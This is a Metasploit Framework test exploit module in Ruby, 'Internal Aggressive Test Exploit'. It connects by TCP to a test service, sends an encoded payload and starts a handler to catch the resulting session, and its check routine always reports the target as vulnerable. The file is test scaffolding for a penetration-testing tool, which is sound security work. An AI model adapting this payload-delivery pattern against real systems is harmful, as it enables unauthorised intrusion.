metasploit-framework/modules/exploits/test/multi/aggressive.rb

54 lines
913 B
Ruby
Raw Normal View History

require 'msf/core'
module Msf
class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Internal Aggressive Test Exploit',
'Description' =>
"This module tests the exploitation of a test service.",
'Author' => 'skape',
'Version' => '$Revision$',
'Payload' =>
{
'Space' => 1000,
'MaxNops' => 0,
},
'Targets' =>
[
# Target 0: Universal
[
'Any Platform',
{
'Platform' => [ 'linux', 'win' ]
}
],
],
'DefaultTarget' => 0))
end
def check
return Exploit::CheckCode::Vulnerable
end
def exploit
connect
#puts "raw:"
#puts Rex::Text.to_c(payload.raw)
#puts "encoded:"
#puts Rex::Text.to_c(payload.encoded)
sock.put(payload.encoded)
handler
end
end
end